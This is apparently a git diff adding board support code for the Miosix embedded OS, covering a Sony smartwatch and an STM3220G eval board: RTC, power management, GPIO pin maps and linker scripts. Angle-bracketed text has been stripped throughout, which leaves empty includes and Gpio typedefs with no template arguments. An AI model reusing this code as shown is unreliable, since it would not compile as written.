//RTC has only two digits for year, and struct tm counts year from 1900 + BCD(d,16,time.tm_year-100); + d|=wdu<<13; + #undef BCD + + //Prevent frequency changes/entering deep sleep while setting time + Lock l(PowerManagement::instance()); + + //These two values enable RTC write access + RTC->WPR=0xca; + RTC->WPR=0x53; + RTC->ISR |= RTC_ISR_INIT; + while((RTC->ISR & RTC_ISR_INITF)==0) ; //Wait to enter writable mode + RTC->TR=t; + RTC->DR=d; + RTC->ISR &= ~RTC_ISR_INIT; +} + +bool Rtc::notSetYet() const +{ + return (RTC->ISR & RTC_ISR_INITS)==0; +} + +Rtc::Rtc() +{ + { + FastGlobalIrqLock dLock; + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + PWR->CR |= PWR_CR_DBP; //Enable access to RTC registers + + //Without this reset, the LSEON bit is ignored, and code hangs at while + //However, this resets the RTC time. An alternative is to write many + //times the LSEON, RTCEN and RTCSEL_0 bits until they're set, but sadly + //RTC time is still not kept. TODO: fix this is possible + RCC->BDCR=RCC_BDCR_BDRST; + RCC->BDCR=0; + + RCC->BDCR=RCC_BDCR_LSEON //External 32KHz oscillator enabled + | RCC_BDCR_RTCEN //RTC enabled + | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC + } + + while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..79188a00b --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/bsp_impl.h @@ -0,0 +1,346 @@ +/*************************************************************************** + * Copyright (C) 2013 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "hwmapping.h" +#include "drivers/stm32_hardware_rng.h" +#include "drivers/stm32f2_f4_i2c.h" +#include "kernel/sync.h" +#include +//#include + +namespace miosix { + +//No LEDs in this board +inline void ledOn() {} +inline void ledOff() {} + +/** + * You must lock this mutex before accessing the I2C1Master directly + * on this board, as there are multiple threads that access the I2C for + * different purposes (touchscreen, accelerometer, PMU). If you don't do it, + * your application will crash sooner or later. + */ +KernelMutex& i2cMutex(); + +enum { + PMU_I2C_ADDRESS=0x90, ///< I2C Address of the PMU + TOUCH_I2C_ADDRESS=0x0a,///< I2C Address of the touchscreen controller + ACCEL_I2C_ADDRESS=0x30 ///< I2C Address of the accelerometer +}; + +/** + * Helper function to write a register of an I2C device. Don't forget to lock + * i2cMutex before calling this. + * \param i2c the I2C driver + * \param dev device address (PMU_I2C_ADDRESS) + * \param reg register address + * \param data byte to write + * \return true on success, false on failure + */ +bool i2cWriteReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, + unsigned char data); + +/** + * Helper function to write a register of an I2C device. Don't forget to lock + * i2cMutex before calling this. + * \param i2c the I2C driver + * \param dev device address (PMU_I2C_ADDRESS) + * \param reg register address + * \param data byte to write + * \return true on success, false on failure + */ +bool i2cReadReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, + unsigned char& data); + +/** + * Vibrates the motor for x times, to allow to identify an error + */ +void errorMarker(int x); + +/** + * Vibrates the motor for x times, to allow to identify an error, + * can be called with interrupts disabled + */ +void IRQerrorMarker(int x); + +/** + * This class contains all what regards power management on the watch. + * The class can be safely used by multiple threads concurrently. + */ +class PowerManagement +{ +public: + /** + * \return an instance of the power management class (singleton) + */ + static PowerManagement& instance(); + + /** + * \return true if the USB cable is connected + */ + bool isUsbConnected() const; + + /** + * \return true if the battery is currently charging. For this to happen, + * charging must be allowed, the USB cable must be connected, and the + * battery must not be fully charged. + */ + bool isCharging(); + + /** + * \return the battery charge status as a number in the 0..100 range. + * The reading takes ~5ms + */ + int getBatteryStatus(); + + /** + * \return the battery voltage, in millivolts. So 3700 means 3.7V. + * The reading takes ~5ms + */ + int getBatteryVoltage(); + + /** + * Possible values for the core frequency, to save power + */ + enum CoreFrequency + { + FREQ_120MHz=120, ///< Default value is 120MHz + FREQ_26MHz=26 ///< 26MHz, to save power + }; + + /** + * Allows to change the core frequency to reduce power consumption. + * Miosix by default boots at the highest frequency (120MHz). + * According to the datasheet, the microcontroller current consumption is + * this: (the difference between minimum and maximum depend on the number + * of peripherals that are emabled) + * | Run mode | Sleep mode | + * | min | max | min | max | + * 120MHz | 21mA | 49mA | 8mA | 38mA | + * 26MHz | 5mA | 11mA | 3mA | 8mA | + * + * For greater power savings consider entering deep sleep as well. + * + * Note that changing the frequency takes a significant amount of time, and + * that if you are designing a multithreaded application, you have to make + * sure all your threads are in an interruptible point. For example, if + * you call this function while a thread is transfering data through I2C, + * it may cause problems. + */ + void setCoreFrequency(CoreFrequency cf); + + /** + * \return the current core frequency + */ + CoreFrequency getCoreFrequency() const { return coreFreq; } + + /** + * Enters deep sleep. ST calls this mode "Stop". It completely turns off the + * microcontroller and its peripherals, minus the RTC. Power gating is not + * applied, so the CPU registers, RAM and peripheral contents are preserved. + * The current consumption goes down to 300uA, and with the 110mAh battery + * in the sony watch, it would last 366 hours in this state. The packaging + * of the watch says that the standby time is 330 hours, so this is clearly + * how they did it. + * + * There are a few words of warning for using this mode, though + * - Entering/exiting deep sleep may take a significant time, so the sleep + * time may not be precise down to the last millisecond. + * - You have to turn off all other stuff external to the microcontroller + * that draw power to actually reduce the consumption to 300uA. If you + * leave the display ON, or the accelerometer, the consumption will be + * higher. The Driver for the battery voltage measurement and light sensor + * already turn off the enable pin so don't worry. + * - If you are designing a multithreaded application, you have to make + * sure all your threads are in an interruptible point. For example, if + * you call this function while a thread is transfering data through I2C, + * it may cause problems. + * - Also, the BSP needs to be optimized for low power, and this is a TODO. + * Even leaving a single GPIO floating can significantly increase the + * power consumption. Normally, I would do that using a multimeter to + * measure current and an oscilloscope to probe around, but I don't want + * to open my watch, and there is no schematic, which makes things harder. + * For this reason, I can't guarantee that the current will be as low as + * 300uA. + * - Also, for now I've implemented only timed wakeup. What will be + * interesting is to also have event wakeup. For example, wake up on + * accelerometer tapping detected, or on RTC alarms that can be set at a + * given date and time. + * + * \param ms number of milliseconds to stay in deep sleep. Maximum is 30s + */ + void goDeepSleep(int ms); + + /** + * Allows to configure if we should exit the deep sleep earlier than the + * timeout if the button is pressed (default is false) + * \param wake if true, pushing the button will make goDeepSleep() return + * before its timeout + */ + void setWakeOnButton(bool wake) { wakeOnButton=wake; } + + /** + * \return true if wake on button is set + */ + bool getWakeOnButton() const { return wakeOnButton; } + + /** + * Locking the power management allows to access hardware operation without + * the risk of a frequency change in the middle, or entering deep sleep. + * Since the power management exposes the lock() and unlock() member + * functions (i.e, the lockable concept), it can be treated as a mutex: + * \code + * { + * Lock l(PowerManagement::instance()); + * //Do something without the risk of being interrupted by a frequency + * //change + * } + * Note that you should eventually release the mutex, or calls to + * setCoreFrequency() and goDeepSleep() will never return. Also, if + * you are going to lock both the power management and the i2c mutex, make + * sure to always lock ithe i2c mutex after the power management, or + * a deadlock may occur. + * + * \endcode + */ + void lock() { powerManagementMutex.lock(); } + + /** + * Unlock the power management, allowing frequency changes and entering deep + * sleep again + */ + void unlock() { powerManagementMutex.unlock(); } + +private: + PowerManagement(const PowerManagement&); + PowerManagement& operator=(const PowerManagement&); + + /** + * Constructor + */ + PowerManagement(); + + /** + * Reconfigure the system clock after the microcontroller has been in deep + * sleep. Can only be called with interrupts disabled. + */ + void IRQsetSystemClock(); + + /** + * Set clock prescalers based on clock frequency. + * Can only be called with interrupts disabled. + */ + void IRQsetPrescalers(); + + /** + * Set core frequency. Can only be called with interrupts disabled. + */ + void IRQsetCoreFreq(); + + I2C1Master *i2c; + bool chargingAllowed; + bool wakeOnButton; + CoreFrequency coreFreq; + KernelMutex powerManagementMutex; +// std::list > notifier; +}; + +/** + * This class allows to retrieve the light value + * The class can be safely used by multiple threads concurrently. + */ +class LightSensor +{ +public: + /** + * \return an instance of the power management class (singleton) + */ + static LightSensor& instance(); + + /** + * \return the light value. The reading takes ~5ms. Minimum is 0, + * maximum is TBD + */ + int read(); + +private: + LightSensor(const LightSensor&); + LightSensor& operator=(const LightSensor&); + + /** + * Constructor + */ + LightSensor(); +}; + +/** + * This class allows to retrieve the time + * The class can be safely used by multiple threads concurrently. + */ +class Rtc +{ +public: + /** + * \return an instance of the power management class (singleton) + */ + static Rtc& instance(); + + /** + * \return the current time + */ + struct tm getTime(); + + /** + * \param time new time + */ + void setTime(struct tm time); + + /** + * \return true if the time hasn't been set yet + */ + bool notSetYet() const; + +private: + Rtc(const Rtc&); + Rtc& operator=(const Rtc&); + + /** + * Constructor + */ + Rtc(); +}; + +} //namespace miosix diff --git a/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..dcb53d5d2 --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/hwmapping.h @@ -0,0 +1,126 @@ +/*************************************************************************** + * Copyright (C) 2013 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +/* + * The pin names were taken from underverk's SmartWatch_Toolchain/src/system.c + * They were put in a comment saying "Sony's name". Probably the one who wrote + * that file got access to much more documentation that the one that's publicly + * available. + */ + +// The OLED display is an LD7131 and has its own dedicated SPI bus +namespace oled { +typedef Gpio OLED_nSS_Pin; //Sony calls it SPI1_nSS_Pin +typedef Gpio OLED_SCK_Pin; //Sony calls it SPI1_SCK_Pin +typedef Gpio OLED_MOSI_Pin; //Sony calls it SPI1_MOSI_Pin +typedef Gpio OLED_A0_Pin; +typedef Gpio OLED_Reset_Pin; +typedef Gpio OLED_V_ENABLE_Pin; //Enables OLED panel 16V supply +} + +// The touch controller is a CY8C20236 is connected to the I2C bus, address 0x0a +namespace touch { +typedef Gpio Touch_Reset_Pin; +typedef Gpio TOUCH_WKUP_INT_Pin; +} + +// There is a PMU chip, unknown part, connected to the I2C bus, address 0x90 +namespace power { +typedef Gpio BATT_V_ON_Pin; //Enables battery voltage sensor +typedef Gpio BAT_V_Pin; //Analog input +typedef Gpio ENABLE_LIGHT_SENSOR_Pin; //Enables light sensor +typedef Gpio LIGHT_SENSOR_ANALOG_OUT_Pin; //Analog input +typedef Gpio ENABLE_2V8_Pin; //Is in some way releted to the OLED +//Looks connected to the PMU, the most likely scenario is this: asserting it low +//when the USB is not connected disables the PMU voltage regulator feeding the +//microcontroller, therefore shutting down the watch. +typedef Gpio HoldPower_Pin; +} + +// The accelerometer is an LIS3DH, connected to the I2C bus, address 0x30 +typedef Gpio ACCELEROMETER_INT_Pin; + +// The Touch controller, PMU and accelerometer are connected to the I2C bus +namespace i2c { +typedef Gpio I2C_SCL_Pin; +typedef Gpio I2C_SDA_Pin; +} + +// Vibrator motor +typedef Gpio BUZER_PWM_Pin; + +// The power button. Someone on stackoverflow mantions that if you push it for +// 10 seconds when the USB cable is disconnected, the watch shutdowns no matter +// what the software does (so, even if it is locked up). This means it's +// probably connected to the PMU as well. +typedef Gpio POWER_BTN_PRESS_Pin; //Goes high when pressed FIXME: check + +// USB connections +namespace usb { +typedef Gpio USB5V_Detected_Pin; //Goes high when USB connected FIXME: check +typedef Gpio USB_DM_Pin; +typedef Gpio USB_DP_Pin; +} + +// Other than that it's an STLC2690, little is known about the bluetooth chip +namespace bluetooth { +//FIXME: which one is the right one? +typedef Gpio Reset_BT2_Pin; //According to sony's website +typedef Gpio Reset_BT_Pin; //According to underverk's SmartWatch_Toolchain + +typedef Gpio BT_CLK_REQ_Pin; +typedef Gpio HOST_WAKE_UP_Pin; +typedef Gpio Enable_1V8_BT_Power_Pin; +typedef Gpio BT_nSS_Pin; //Sony calls it SPI3_nSS_Pin +typedef Gpio BT_SCK_Pin; //Sony calls it SPI3_SCK_Pin +typedef Gpio BT_MISO_Pin; //Sony calls it SPI3_MISO_Pin +typedef Gpio BT_MOSI_Pin; //Sony calls it SPI3_MOSI_Pin +} + +// The mistery pins mentioned in system.c, but never used +namespace unknown { +typedef Gpio WKUP_Pin; +//Stands for main clock out, a feature of the STM32 to output an internal clock +//(either the crystal one, or the PLL one). Ususally is used to clock some +//other chip saving a clock crystal in the BOM. Maybe it goes to the touchscreen +//controller? Who knows... +typedef Gpio MCO1_Pin; +typedef Gpio Connect_USB_Pin; +typedef Gpio POWER_3V3_ON_1V8_OFF_Pin; +typedef Gpio SPI2_nSS_Pin; //Is there yet another mistery chip +typedef Gpio SPI2_SCK_Pin; //connected to this SPI? I don't know +typedef Gpio SPI2_MISO_Pin; +typedef Gpio SPI2_MOSI_Pin; +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f205rg_sony-newman/unikernel.ld b/miosix/arch/board/stm32f205rg_sony-newman/unikernel.ld new file mode 100644 index 000000000..0567b1f50 --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/unikernel.ld @@ -0,0 +1,39 @@ +/* + * Linker script for Sony smartwatch + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + /* + * Taken from underverk's SmartWatch_Toolchain. The DFU bootloader sits + * between 0x08000000 and 0x0800c000, that's 48K. Don't know why the code + * can't be placed directly @ 0x0800c000, but by unpacking the original + * firmware SmartWatch.dfu resulted in five different binary images: + * Base addr | size | + * ------------+---------+-------------------------------------------------- + * 0x0800c000 | 0x5f00 | Seems the bluetooth driver, no interrupt table, + * | | and funnily first 16K are zeros, probably + * | | compiled as non-PIC code at 64K from flash base. + * 0x08020000 | 0x1b578 | Is a firmware as it starts with an interrupt + * | | table, don't know what it does. + * 0x0803fffc | 0x188 | Discarding the first 4 bytes, the rest starts + * | | @ 0x08040000 and is an interrupt table. + * | | Bootloader jumps at this address. The interrupt + * | | points to the next firmware image. + * 0x08040200 | 0xb02b8 | First part is just pictures data, but there's + * | | code at the end, and the lone interrupt table + * | | points into it. + * 0x080ffffc | 0x4 | Some magic number of some sort. + */ + flash(rx) : ORIGIN = 0x08040000, LENGTH = 768K + /* + * Taken from underverk's SmartWatch_Toolchain. + * First 3K of RAM reserved, and last 2K of RAM reserved. Doesn't explain + * why. TODO: try to use the entire RAM and see what happens. + */ + ram(wx) : ORIGIN = 0x20000c00, LENGTH = 128K-5K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/CMakeLists.txt b/miosix/arch/board/stm32f207ig_stm3220g-eval/CMakeLists.txt new file mode 100644 index 000000000..e40617f2e --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/CMakeLists.txt @@ -0,0 +1,46 @@ +## +## CMakeLists.txt for board stm32f207ig_stm3220g-eval +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel.ld + # 2) Code in FLASH, IRQ stack, .data, .bss in internal RAM, heap in external RAM + unikernel-xram-heap.ld -D__ENABLE_XRAM + # 3) Code in FLASH, IRQ stack in internal RAM, heap, data and bss in external RAM + unikernel-xram.ld -D__ENABLE_XRAM + # 4) Code + stack + heap in external RAM, Code runs *very* slow. Works only + # with a booloader that forwards interrrupts @ 0x64000000 + # (see tools/bootloaders for one). + unikernel-all-in-xram.ld -D__ENABLE_XRAM -D__CODE_IN_XRAM + # 5) Code in FLASH, kernel and process pool in internal RAM + processes.ld -DWITH_PROCESSES + # 6) Code in FLASH, Kernel in internal RAM, Process pool in XRAM + processes-xram.ld -DWITH_PROCESSES -D__ENABLE_XRAM +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-heap.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM3220G_EVAL) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM3220G_EVAL) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/Makefile.inc b/miosix/arch/board/stm32f207ig_stm3220g-eval/Makefile.inc new file mode 100644 index 000000000..9666807d2 --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/Makefile.inc @@ -0,0 +1,35 @@ +## +## Makefile for board stm32f207ig_stm3220g-eval +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM3220G_EVAL +BOARD_CXXFLAGS := -D_BOARD_STM3220G_EVAL + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +ifeq ($(LINKER_SCRIPT),unikernel-all-in-xram.ld) + PROG ?= $(KPATH)/../tools/bootloaders/stm32/pc_loader/pc_loader \ + /dev/ttyUSB0 main.bin +else + PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 +endif diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/boot.cpp b/miosix/arch/board/stm32f207ig_stm3220g-eval/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..ee722713d --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F207xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..43137dd14 --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/bsp.cpp @@ -0,0 +1,136 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | + RCC_AHB1ENR_GPIOIEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xf3ff0f0f | 0xaaaaaaaa; //GPIOD,E,F,G are used by the FSMC + GPIOE->OSPEEDR=0xffffc00f | 0xaaaaaaaa; //configure those pins as 100MHz + GPIOF->OSPEEDR=0xff000fff | 0xaaaaaaaa; //(constants taken from + GPIOG->OSPEEDR=0x000c0fff | 0xaaaaaaaa; // SystemInit_ExtMemCtl) + GPIOH->OSPEEDR=0xaaaaaaaa; + GPIOI->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + sdCardDetect::mode(Mode::INPUT_PULL_UP); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..4d6e3e90a --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/interfaces-impl/bsp_impl.h @@ -0,0 +1,78 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +///\internal Pin connected to SD card detect +typedef Gpio sdCardDetect; + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() +{ + return sdCardDetect::value()==0; +} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm3220g-eval.cfg b/miosix/arch/board/stm32f207ig_stm3220g-eval/openocd-olimex.cfg similarity index 100% rename from miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm3220g-eval.cfg rename to miosix/arch/board/stm32f207ig_stm3220g-eval/openocd-olimex.cfg diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm3220g-eval_stlink.cfg b/miosix/arch/board/stm32f207ig_stm3220g-eval/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm3220g-eval_stlink.cfg rename to miosix/arch/board/stm32f207ig_stm3220g-eval/openocd.cfg diff --git a/miosix/arch/board/stm32f207ig_stm3220g-eval/processes-xram.ld b/miosix/arch/board/stm32f207ig_stm3220g-eval/processes-xram.ld new file mode 100644 index 000000000..ec9f1b16d --- /dev/null +++ b/miosix/arch/board/stm32f207ig_stm3220g-eval/processes-xram.ld 